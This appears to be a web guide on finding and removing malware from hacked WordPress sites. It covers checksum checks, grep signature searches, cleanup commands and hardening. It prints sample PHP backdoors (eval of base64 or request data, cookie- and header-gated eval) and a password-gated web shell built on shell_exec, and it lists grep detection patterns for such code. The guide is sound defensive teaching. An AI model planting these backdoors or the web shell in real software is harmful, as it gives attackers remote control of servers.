
Infected WordPress Files: How to Identify and Clean Them
When a WordPress site is compromised, malware leaves traces in the server files. Hidden backdoor scripts in the uploads folder, obfuscated code inserted into functions.php, core files silently modified: infected files are the attacker's preferred playground. In 2026, with AI-powered obfuscation techniques, these malicious files are harder to spot than ever. This guide teaches you how to systematically identify every infected file and clean it without breaking your site.
How to identify and clean infected WordPress files (8 etapes)
- 1
Run WP-CLI checksum verification — Use wp core verify-checksums to detect any modified WordPress core files.
- 2
Scan the uploads folder for PHP files — Search wp-content/uploads for PHP files, which should never exist there.
- 3
Inspect theme and plugin files — Check functions.php, header.php, and plugin folders for obfuscated or unknown code.
- 4
Search for common malware patterns — Grep for base64_decode, eval, and other suspicious PHP functions across all files.
- 5
Remove or replace infected files — Delete malicious files and reinstall clean versions of core, themes, and plugins.
- 6
Update all credentials — Change database passwords, WordPress salts, and all admin account passwords.
- 7
Verify the cleanup — Re-scan the site with a security plugin and check server logs for remaining threats.
- 8
Harden against reinfection — Set correct file permissions, remove unused plugins, and enable a web application firewall.
Which Files Hackers Target First
Attackers do not modify files at random. They target strategic locations that guarantee persistence, stealth, and maximum impact.
WordPress Core Files
| File | Why It Is Targeted | Risk |
|---|---|---|
| wp-config.php | Contains database credentials and security keys | Data theft, persistent backdoor |
| wp-load.php | Executed on every page load | Malicious code runs systematically |
| wp-blog-header.php | Main WordPress entry point | Redirect, content injection |
| index.php (root) | First file executed | Redirect, defacement |
| wp-includes/version.php | Rarely inspected by admins | Stealthy backdoor |
Theme Files
| File | Injection Technique |
|---|---|
| functions.php | Malicious functions added at the beginning or end of file |
| header.php | JavaScript injection for redirect or crypto mining |
| footer.php | Hidden SEO spam links or tracking scripts |
| 404.php | Full backdoor (rarely visited page = low detection) |
| style.css | Comments containing PHP code (if server is misconfigured) |
Plugin Files
Attackers often create fake plugins in /wp-content/plugins/ with legitimate-sounding names:
wp-super-cache-cleanup/seo-optimizer-pro/security-update-2026/ultra-seo-processor/
These fake plugins contain backdoors and are loaded automatically by WordPress.
The Uploads Folder: Danger Zone
The /wp-content/uploads/ folder should never contain PHP files. Yet it is one of the hackers' preferred locations because:
- Write permissions are often too permissive
- Scanning tools rarely focus on this folder
- The date-based subfolder structure (
/2026/03/) makes it easy to hide files
mu-plugins Files
The /wp-content/mu-plugins/ folder (must-use plugins) is loaded automatically without appearing in the admin interface. It is an ideal location for persistent backdoors:
# Check the mu-plugins folder contents
ls -la /path/to/wordpress/wp-content/mu-plugins/How to Detect Infected Files
Detection relies on a multi-layered approach combining automated tools and manual inspection.
Method 1: WP-CLI Verify Checksums
WP-CLI lets you compare your installation files against the official WordPress originals:
# Verify core file integrity
wp core verify-checksums
# Verify plugin integrity (from wordpress.org)
wp plugin verify-checksums --all
# Example output when issues are found
# Warning: File doesn't verify against checksum: wp-includes/version.php
# Warning: File not in WordPress installation: wp-includes/wp-tmp.phpThis command identifies three types of issues:
- Modified files: the checksum does not match
- Missing files: deleted by the hacker to break functionality
- Added files: files that are not part of the official installation
Method 2: Malicious Signature Search with grep
# Search for common obfuscation functions
grep -rn "eval(base64_decode" /path/to/wordpress/ --include="*.php"
grep -rn "eval(gzinflate" /path/to/wordpress/ --include="*.php"
grep -rn "eval(str_rot13" /path/to/wordpress/ --include="*.php"
# Search for system execution functions
grep -rn "exec(\|system(\|passthru(\|shell_exec(\|popen(" /path/to/wordpress/ --include="*.php"
# Search for remote includes
grep -rn "file_get_contents('http\|curl_exec\|wp_remote_get.*http" /path/to/wordpress/wp-content/ --include="*.php"
# Search for variable obfuscation patterns
grep -rn '\$[a-zA-Z_]*\s*=\s*"\\\x[0-9a-f]' /path/to/wordpress/ --include="*.php"
# Search for hidden iframes
grep -rn "iframe.*style.*display.*none\|iframe.*width.*0.*height.*0" /path/to/wordpress/ --include="*.php"Method 3: File Modification Date Analysis
# Find PHP files modified in the last 7 days
find /path/to/wordpress/ -name "*.php" -mtime -7 -type f
# Find PHP files modified in the last 30 days in wp-content
find /path/to/wordpress/wp-content/ -name "*.php" -mtime -30 -type f -ls
# Find PHP files in the uploads folder
find /path/to/wordpress/wp-content/uploads/ -name "*.php" -type f
# Find files with double extensions
find /path/to/wordpress/ -name "*.php.jpg" -o -name "*.php.png" -o -name "*.php.gif" -type fWarning: modification dates can be faked with the touch command. Do not rely solely on this method.
Method 4: Comparison with a Clean Installation
# Download a clean copy of WordPress
wp core download --path=/PATH/TO/CLEAN-WP-clean --force
# Compare core files
diff -rq /path/to/wordpress/wp-includes/ /PATH/TO/CLEAN-WP-clean/wp-includes/
diff -rq /path/to/wordpress/wp-admin/ /PATH/TO/CLEAN-WP-clean/wp-admin/
# Compare a specific file
diff /path/to/wordpress/wp-includes/version.php /PATH/TO/CLEAN-WP-clean/wp-includes/version.phpMethod 5: Server Log Analysis
Logs can reveal which files the hacker is calling:
# Search for suspicious POST requests to PHP files in uploads
grep "POST.*uploads.*\.php" /var/log/apache2/access.log
# Search for requests to non-standard files
grep "\.php" /var/log/apache2/access.log | grep -v "wp-admin\|wp-login\|wp-cron\|xmlrpc\|wp-json\|index.php"
# Search for access to known backdoor files
grep "wp-tmp\|wp-feed\|class-wp-cache\|db-safe-mode" /var/log/apache2/access.logCommon Malicious Code Patterns
Recognizing malicious code by sight is an essential skill. Here are the most frequent patterns in 2026.
Pattern 1: eval() + base64_decode()
The classic approach. Code is base64-encoded to evade basic scans:
// Typical malicious code
eval(base64_decode('aWYoaXNzZXQoJF9SRVFVRVNUWydj...'));
// Which often decodes to:
if(isset($_REQUEST['cmd'])){
eval($_REQUEST['cmd']);
}To manually decode:
echo "aWYoaXNzZXQoJF9SRVFVRVNUWydjbWQnXSkpew==" | base64 --decodePattern 2: Obfuscated Concatenated Variables
Code uses variable concatenation to hide function names:
// Obfuscation through concatenation
$a = 'ev'; $b = 'al'; $c = $a.$b;
$d = 'bas'.'e64'.'_de'.'code';
$c($d('malicious_encoded_code'));
// Obfuscation through chr()
$func = chr(101).chr(118).chr(97).chr(108); // = "eval"
$func('malicious_code');Pattern 3: Backdoor with Authentication
Sophisticated backdoors that only activate with a password:
// Backdoor with HTTP header authentication
if (isset($_SERVER['HTTP_X_FORWARDED_HOST']) &&
md5($_SERVER['HTTP_X_FORWARDED_HOST']) === 'a1b2c3d4e5f6...') {
eval(file_get_contents('php://input'));
}
// Backdoor with cookie authentication
if (isset($_COOKIE['wp_session']) &&
$_COOKIE['wp_session'] === 'secret_token_here') {
@eval($_POST['code']);
}Pattern 4: Injection into Legitimate Files
Malicious code is inserted into existing files, often at the beginning or end:
<?php
// Normal start of functions.php
// ... then at the very bottom:
@include_once('/path/to/wordpress/wp-content/uploads/2026/03/.cache.php');
// Or with an obfuscated relative path
@include("\x2f\x68\x6f\x6d\x65".$_SERVER['DOCUMENT_ROOT']."/wp-includes/.wp-tmp.php");Pattern 5: Full Web Shell
A standalone file that provides full access to the server:
<?php
// Often named something innocent like "wp-cache-db.php"
if($_GET['pass']=='secretpass'){
echo '<form method="post"><textarea name="cmd"></textarea><input type="submit"></form>';
if(isset($_POST['cmd'])){
echo '<pre>'.shell_exec($_POST['cmd']).'</pre>';
}
}
?>Signature Summary Table
| Signature | Danger | Typical Files |
|---|---|---|
eval(base64_decode( | Hidden code execution | All PHP files |
eval(gzinflate( | Compressed and executed code | functions.php, wp-load.php |
$_REQUEST['cmd'] | Interactive backdoor | Added files |
@include_once( with obfuscated path | Backdoor loading | functions.php, wp-config.php |
preg_replace('/.*e' | Execution via regex (PHP < 7) | Old themes |
assert( with variable | Alternative to eval() | Plugins |
file_put_contents + $_POST | Remote file writing | Backdoors |
Step-by-Step Cleanup
Step 1: Prepare the Environment
# Create a full backup BEFORE any cleanup
wp db export /path/to/backup/db-backup-$(date +%Y%m%d).sql
tar -czf /path/to/backup/files-backup-$(date +%Y%m%d).tar.gz /path/to/wordpress/
# Enable maintenance mode
wp maintenance-mode activateStep 2: Replace Core Files
This is the safest method: completely replace WordPress files with originals:
# Download and replace core files
wp core download --force --skip-content
# Verify integrity after reinstallation
wp core verify-checksumsThis command replaces /wp-admin/ and /wp-includes/ without touching /wp-content/.
Step 3: Clean Theme Files
# List modified files in the active theme
THEME=$(wp theme list --status=active --field=name)
# If it is a wordpress.org theme, reinstall it
wp theme install $THEME --force
# If it is a custom theme, compare with the original version
diff -rq /path/to/wordpress/wp-content/themes/$THEME/ /path/to/original-theme/
# Manually check functions.php
head -20 /path/to/wordpress/wp-content/themes/$THEME/functions.php
tail -20 /path/to/wordpress/wp-content/themes/$THEME/functions.phpFor custom themes without a reference version, inspect each PHP file:
# Scan all theme files for suspicious code
grep -rn "eval(\|base64_decode\|gzinflate\|str_rot13\|shell_exec\|passthru" \
/path/to/wordpress/wp-content/themes/$THEME/ --include="*.php"Step 4: Clean Plugins
# Reinstall all plugins from the official repository
wp plugin install $(wp plugin list --field=name --format=csv) --force
# List plugins not on wordpress.org (potentially suspicious)
wp plugin verify-checksums --all 2>&1 | grep "not install"
# Remove fake plugins
ls -la /path/to/wordpress/wp-content/plugins/ | grep -v "index.php"Manually verify each plugin that is not available on wordpress.org.
Step 5: Purge the Uploads Folder
# Delete ALL PHP files from the uploads folder
find /path/to/wordpress/wp-content/uploads/ -name "*.php" -type f -delete
# Delete files with suspicious extensions
find /path/to/wordpress/wp-content/uploads/ -name "*.php.*" -type f -delete
find /path/to/wordpress/wp-content/uploads/ -name ".*.php" -type f -delete
# Delete unnecessary .htaccess files in uploads
find /path/to/wordpress/wp-content/uploads/ -name ".htaccess" -type f -delete
# Check hidden files (starting with a dot)
find /path/to/wordpress/wp-content/uploads/ -name ".*" -type fStep 6: Clean the mu-plugins Folder
# List mu-plugins contents
ls -la /path/to/wordpress/wp-content/mu-plugins/
# Remove any unrecognized file
# Only keep files you intentionally createdStep 7: Verify wp-config.php
# Search for suspicious code
grep -n "eval\|base64\|include\|require" /path/to/wordpress/wp-config.php
# Check first lines (before <?php)
head -3 /path/to/wordpress/wp-config.php
# Check last lines (after require wp-settings.php)
tail -5 /path/to/wordpress/wp-config.phpRegenerate security keys and change the database password. For all post-cleanup hardening measures, see our guide on securing WordPress after a hack.
Step 8: Fix Permissions
# Recommended permissions for WordPress
find /path/to/wordpress/ -type d -exec chmod 755 {} \;
find /path/to/wordpress/ -type f -exec chmod 644 {} \;
# Restrictive permissions for wp-config.php
chmod 400 /path/to/wordpress/wp-config.php
# Restrictive permissions for .htaccess
chmod 444 /path/to/wordpress/.htaccessRecommended Tools
Command-Line Tools
| Tool | Usage | Command |
|---|---|---|
| WP-CLI | Integrity verification | wp core verify-checksums |
| grep | Signature search | grep -rn "eval(" --include="*.php" |
| find | Suspicious file detection | find . -name "*.php" -mtime -7 |
| diff | Clean file comparison | diff -rq /infected/ /clean/ |
| clamscan | Open-source antivirus | clamscan -r /path/to/wordpress/ |
Security Plugins
| Plugin | Strengths | Scan |
|---|---|---|
| Wordfence | Deep file scanning, WAF firewall | Comparison with official repository |
| Sucuri Security | Real-time monitoring, secure CDN | Remote + local scan |
| MalCare | Cloud scan (does not overload server) | Behavioral analysis |
| iThemes Security | Complete WordPress hardening | Integrity verification |
Post-Cleanup Verification
# Final comprehensive scan
wp core verify-checksums
wp plugin verify-checksums --all
# Verify no PHP files remain in uploads
find /path/to/wordpress/wp-content/uploads/ -name "*.php" -type f
# Check cron tasks (automated reinfection)
wp cron event list
# Final grep scan
grep -rn "eval(base64_decode\|eval(gzinflate" /path/to/wordpress/ --include="*.php"Validation Checklist
- Core checksums verified: OK
- Plugin checksums verified: OK
- No PHP files in
/uploads/: OK - No fake plugins in
/plugins/: OK /mu-plugins/folder clean: OKwp-config.phpverified: OK- Security keys regenerated: OK
- Database password changed: OK
- File permissions corrected: OK
- Cron jobs cleaned: OK
- Wordfence/Sucuri scan clean: OK
Prevention: Avoiding Reinfection
Prevention is just as important as cleanup. Without preventive measures, reinfection is nearly certain.
File Monitoring
Set up automated file modification monitoring:
# Simple monitoring script (run via cron)
#!/bin/bash
WORDPRESS_PATH="/path/to/wordpress"
HASH_FILE="/path/to/monitoring/files.md5"
# Generate current checksums
find $WORDPRESS_PATH -name "*.php" -type f -exec md5sum {} \; > /var/tmp/current_hashes.md5
# Compare with reference checksums
diff $HASH_FILE /var/tmp/current_hashes.md5 > /var/tmp/file_changes.txt
if [ -s /var/tmp/file_changes.txt ]; then
mail -s "ALERT: WordPress files modified" admin@yoursite.com < /var/tmp/file_changes.txt
fiServer Hardening
- Disable PHP execution in the uploads folder via
.htaccess:
# /wp-content/uploads/.htaccess
<Files "*.php">
Deny from all
</Files>- Disable directory listing:
Options -Indexes- Limit write permissions to only necessary folders
Updates and Maintenance
- Enable automatic updates for core and plugins
- Remove inactive themes and plugins
- Regularly change passwords (admin, FTP, database)
- Perform daily backups and test restoration
- Subscribe to a WordPress maintenance service to automate these tasks
When to Call a Professional
If you are facing any of these scenarios, a professional WordPress malware removal service is recommended:
- Infected files return after every cleanup
- You cannot find the source of infection
- The site has been flagged by Google Safe Browsing
- You handle sensitive data (e-commerce, personal data)
- You want a comprehensive security audit
Conclusion
Identifying and cleaning infected WordPress files demands method and rigor. By combining automated tools (WP-CLI, grep, diff) with manual inspection of strategic files, you can eliminate every trace of malware. The key is to be systematic: skip no step, check every location, and set up permanent monitoring.
For a complete guide on the cleanup process, see our article on cleaning a hacked WordPress site. If you suspect your site contains specific backdoors, our guide on manually removing WordPress malware will help you eliminate them one by one.
